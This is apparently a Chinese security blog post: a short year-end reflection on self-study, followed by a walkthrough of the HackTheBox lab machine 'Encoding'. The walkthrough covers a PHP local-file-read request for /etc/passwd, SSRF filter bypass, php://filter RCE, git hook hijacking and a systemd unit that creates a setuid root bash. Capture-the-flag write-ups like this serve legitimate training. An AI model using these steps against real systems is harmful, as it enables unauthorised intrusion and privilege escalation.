经过10个月左右的网安自学,我想说的第一句话无疑是:感谢TryHackMe。当然,后续的HackTheBox&学院、CRTO等等,对我的帮助都很大。
许多师傅们都在年度总结,我也看了大家都收获很多,都很厉害。我想我就没有必要了,我想在2023这一年里我的博客内容就是最棒的总结和结果.
昨天是我没有打htb靶机并且写wp的一天, 昨晚也是2023年最后一个夜晚,我们TryHackMyOffsecBox的八位师傅们一起在htb打4v4攻防对抗
当然啦,最终我也是惜败了,重要是我们八位师傅都使用kook语音交流,氛围很棒,双方的攻防过程也很爽,各位师傅反馈虽然靶机总是出问题,但是整体还是很爽的
我方视角:
【2023年最后一晚 - HTB 网络安全4v4攻防对抗 M1n9K1n9第一视角-哔哩哔哩】 https://b23.tv/qdcYL2m
对方视角:
【TryHackMyOffsecBox 跨年活动 4v4 对抗 Cyber Mayhem Randark第一视角-哔哩哔哩】 https://b23.tv/NQup0VD
目前htb 4v4攻防对抗这个游戏已经被我设置为群周常活动,每周日晚开打
就像一年前的今天,我在thm初学并且第一次打koth一样,这是历史以一种类似的方式重新上演了。
Encoding是一种中等难度的 Linux 计算机,其 Web 应用程序容易受到本地文件读取的攻击。通过读取目标上的任意文件的能力,攻击者可以首先利用 Web 应用程序中的 PHP LFI 漏洞,以“www-data”用户身份访问服务器。然后,他们可以在服务器上发现一个名为“git-commit.sh”的脚本,该脚本允许他们以 James 用户的身份提交代码。通过检查“utils.php”文件,攻击者可以发现该脚本以具有 sudo 权限的“svc”用户身份运行。通过恶意 Git 钩子,攻击者可以获取“svc”用户的 SSH 密钥。该用户可以通过 sudo 以 root 用户身份重启服务。攻击者可滥用此权限,通过修改现有服务文件或创建新服务文件,以 root 身份执行任意代码。
循例nmap
在api中看到一个
尝试一下就可以发现,这里存在LFI,把http改file协议
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'file:///etc/passwd'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
decode就可以得到明文数据
读apache默认配置
<VirtualHost *:80>
ServerName haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
VirtualHost>
<VirtualHost *:80>
ServerName api.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/api
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
VirtualHost>
<VirtualHost *:80>
ServerName image.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/image
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
#SecRuleEngine On
<LocationMatch />
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
Header always set Retry-After "10" env=RATELIMITED
LocationMatch>
ErrorDocument 429 "Rate Limit Exceeded"
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
DIrectory>
VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
读/var/www/image/index.php
include_once 'utils.php';
include 'includes/coming_soon.html';
?>
utils.php
// Global functions
function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}
function git_status()
{
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}
function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}
function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
?>
从上面两个函数里面的内容来看,/var/www/image下有git存储库
参考这篇文章,我们将手动从.git重建存储库
读HEAD看当前分支的引用
file:///var/www/image/.git/HEAD
继续读 .git/refs/heads/master
本地创建个目录并且创建git存储库
将文件下到本地
.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b
git cat-file
接着读tree
.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49
读actions
读action_handler.php,经典文件包含
┌──(mingm1n9k1n9-parrot)-[~/test]
└─$ git cat-file -p 2d600ee8a453abd9bd515c41c8fa786b95f96f82
<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
然而image子域我们是无权访问的,但我们可以通过最开始的文件读取漏洞来转换为SSRF
utils.php中做了限制,我们通过@来绕过
现在我们可以读到目标上的文件,同时我发现php://filter 也可用,但是就是无法访问目标机器外的远程文件,无法触发RFI
这篇文章给我们非常详细的讲述了如何绕过这种限制,并且利用iconv包装器通过奇奇怪怪的编码转换,在读取的文件头部中最终插入我们期望的字符串,最终导致RCE
脚本则在github
我们执行id命令
常规bash reverse shell
sudo -l
发现.git有acl
进.git/一看,全有acl
既然hooks全都可写,那就是经典hook劫持
我们劫持git commit后会触发的post-commit
此外,我们还需要通过–work-tree参数设置到其他目录,然后提交其他文件,因为我们在image/下无权新增其他文件
nc
sudo -l
不出意外的话就要出意外了
从sudo -l这个条目不难看出进攻思路,当前用户svc肯定是对某个服务的配置文件可写,然后我们restart执行命令提权
在/etc/systemd下又发现system有acl,但是不可读
然而other可读,我们需要www-data的shell帮助我们
system/里面也是全是acl,随便看一个文件的acl,发现svc可写
接下来就相当轻松也很熟悉了,随便搞个配置,抓住ExecStart
[Unit]
Description=My Service
[Service]
User=root
Group=root
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"
[Install]
WantedBy=default.target
保存到文件并且base64
将base64在目标上解码并写入system/,再sudo去restart,我们的老朋友将如期而至
root flag还在老地方